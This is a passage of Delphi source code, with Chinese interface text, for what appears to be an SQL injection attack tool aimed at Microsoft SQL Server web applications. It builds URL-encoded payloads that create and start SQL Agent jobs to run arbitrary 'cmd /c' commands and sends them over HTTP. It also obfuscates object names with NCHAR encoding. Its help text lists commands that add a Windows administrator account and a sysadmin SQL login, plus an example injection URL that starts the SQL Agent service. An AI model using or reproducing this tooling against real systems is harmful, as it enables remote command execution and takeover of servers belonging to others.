nbsp; '''';exec%20sp_add_job%20''''''''x''''''''''''+
'''';exec%20sp_add_jobstep%20Null,''''''''x'''''''',Null,''''''''1'''''''',''''''''CMDEXEC'''''''',''''''''cmd%20/c%20''''+
CommandStr+'''''''''''';exec%20sp_add_jobserver%20Null,''''''''x'''''''',@@servername''''+
'''';exec%20sp_start_job%20''''''''x''''''''--'''';
if get(CommandStr) then
Memo2.Lines.Add(''''命令执行完成。'''');
end else
begin
Memo2.Lines.Add(''''SQLSERVERAGENT 启动失败，操作终止！'''');
exit;
end;
end;
finally
Screen.Cursor :=crDefault;
BtnExecute.Visible :=true;
BtnCancel.Visible :=false;
end;
end;
function TForm1.Get(URL: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
try
idhttp.HandleRedirects:= true; //必须支持重定向否则可能出错
idhttp.ReadTimeout:= 30000; //超过这个时间则不再访问
ss:= IDHTTP.Get(URL);
if IDHTTP.ResponseCode=200 then
Result :=true;
except
//on E: Exception do
// Application.MessageBox(pchar(''''出现异常，操作终止！''''+#10#13+E.Message),''''提示'''',mb_ok+mb_iconinformation);
end;
finally
IDHTTP.Free;
end;
end;
function TForm1.GetWBMsg(URL: string): string;
function GetResultStr(str:string):string;
var
istart,iend:integer;
ss:string;
begin
istart:=pos(''''|'''',str);
if istart>0 then
begin
ss:=copy(str,istart+1,length(str)-istart);
iend :=pos(''''|'''',ss);
if iend>0 then
begin
ss:=copy(ss,1,iend-1);
end;
end;
if ss='''''''' then
Result :=''''未知''''
else Result :=ss;
end;
var
ss:string;
begin
tag:=0;
wb.Navigate(URL);
while (tag=0) do
Application.ProcessMessages;
ss :=(wb.Document as IHTMLDocument2).Body.innerText;
Result :=GetResultStr(ss);
end;
function TForm1.StrToNChar(DbName, TName: string): string;
var
i:integer;
ss,str:string;
begin
ss:=DbName+''''..''''+TName;
for i:=1 to length(ss) do
begin
if i=1 then
str :=''''NCHAR(''''+inttostr(ord(ss[i]))+'''')''''
else
str :=str+''''%2BNCHAR(''''+inttostr(ord(ss[i]))+'''')'''';
end;
Result :=''''OBJECT_ID(''''+str+'''')'''';
end;
procedure TForm1.wbDocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
begin
//Memo2.Text :=(wb.Document as IHTMLDocument2).Body.innerText;
tag:=1;
end;
procedure TForm1.BtnStopClick(Sender: TObject);
begin
isFinish :=True;
BtnCheck.Visible :=true;
BtnStop.Visible :=False;
end;
procedure TForm1.SetRdbCheck(rd: TRadioButton);
begin
Memo2.Clear;
if rd=rbCmd then
begin
cbDisp.Enabled :=True;
Memo2.Lines.Add(''''使用xp_cmdshell来运行系统命令'''');
Memo2.Lines.Add('''''''');
Memo2.Lines.Add(''''net user test test /add'''');
Memo2.Lines.Add(''''net localgroup administrators test /add'''');
Memo2.Lines.Add(''''exec master..sp_addlogin test,test'''');
Memo2.Lines.Add(''''exec master..sp_addsrvrolemember test,sysadmin'''');
end;
if rd=rbOA then
begin
cbDisp.Enabled :=False;
Memo2.Lines.Add(''''使用sp_OACreate来运行系统命令'''');
end;
if rd=rbJob then
begin
cbDisp.Enabled :=False;
Memo2.Lines.Add(''''使用SQLSERVERAGENT的JOB来运行系统命令'''');
Memo2.Lines.Add(''''请先使用下列语句启动SQLSERVERAGENT:'''');
Memo2.Lines.Add('''''''');
Memo2.Lines.Add(''''http://x.com/x.asp?a=1;exec master..xp_servicecontrol ''''''''start'''''''',''''''''SQLSERVERAGENT'''''''';--'''');
end;
end;
procedure TForm1.rbCmdClick(Sender: TObject);
begin
SetRdbCheck(rbcmd);
end;
procedure TForm1.rbOAClick(Sender: TObject);
begin
SetRdbCheck(rbOA);
end;
procedure TForm1.rbJobClick(Sender: TObject);
begin
SetRdbCheck(rbJob);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
SetRdbCheck(rbcmd);
end;
procedure TForm1.BtnCancelClick(Sender: TObject);
begin
isCancel :=True;
BtnExecute.Visible :=true;
BtnCancel.Visible :=false;
end;
end.
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